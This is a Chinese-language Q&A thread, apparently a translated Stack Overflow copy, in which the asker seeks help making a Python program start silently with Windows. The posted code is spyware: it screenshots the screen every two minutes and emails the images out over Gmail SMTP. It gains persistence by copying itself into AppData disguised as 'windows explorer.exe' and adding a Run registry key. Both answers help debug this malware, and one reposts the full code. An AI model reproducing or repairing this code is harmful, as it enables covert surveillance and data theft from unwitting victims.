如何将我的Python EXE文件静静地添加到Windows的启动程序中?

问题描述 投票:0回答:1

我正在使用该启动regedit代码(python 3),但不能工作。

启动代码。

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

完整的代码在这里

我做了一个python脚本,在特定的时间间隔后发送截图。现在我想在该程序中添加持久性(程序启动时也要启动)。我已经在程序中添加了启动语句,但它没有工作。

import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

    self.become_persistent()
s: SMTP = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("[email protected]", "password")

msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "[email protected]"
msg['To'] = "[email protected]"
while True:
    snapshot = ImageGrab.grab()
    # Using png because it cannot write mode RGBA as JPEG
    file = "scr.png"
    snapshot.save(file)
    # Opening the image file and then attaching it
    with open(file, 'rb') as f:
        img = MIMEImage(f.read())
        img.add_header('Content-Disposition', 'attachment', filename=file)
        msg.attach(img)
    os.remove(file)
    s.sendmail("[email protected]", "[email protected]", msg.as_string())
    # Change this value to your liking
    time.sleep(120)
python python-3.x python-requests subprocess
1个回答
0
投票

你的 become_persistent() 永远不会被调用。

你需要取消这一行的缩进。

self.become_persistent()

0
投票

你可以试试这段代码吗?我修改了代码,把所有的错误记录到一个文件中,并把它放在你的桌面上。看看这个文件,并在注释中告诉我你看到了什么。一旦你回复我,我会更新这个答案,使之真正成为一个答案。

import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self

path = 'path2 = R"C:\Users\$USERNAME\Desktop\log.txt"'
full_path = os.path.expanduser(path)


def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)
    self.become_persistent()


s: SMTP = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("[email protected]", "password")
msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "[email protected]"
msg['To'] = "[email protected]"

try:
    while True:
        snapshot = ImageGrab.grab()
        # Using png because it cannot write mode RGBA as JPEG
        file = "scr.png"
        snapshot.save(file)
        # Opening the image file and then attaching it
        with open(file, 'rb') as f:
            img = MIMEImage(f.read())
            img.add_header('Content-Disposition', 'attachment', filename=file)
            msg.attach(img)
        os.remove(file)
        s.sendmail("[email protected]", "[email protected]", msg.as_string())
        # Change this value to your liking
        time.sleep(120)
except Exception as e:
    with open(full_path, 'a') as f:
        f.append(f"{type(e)}: {e}")
© www.soinside.com 2019 - 2024. All rights reserved.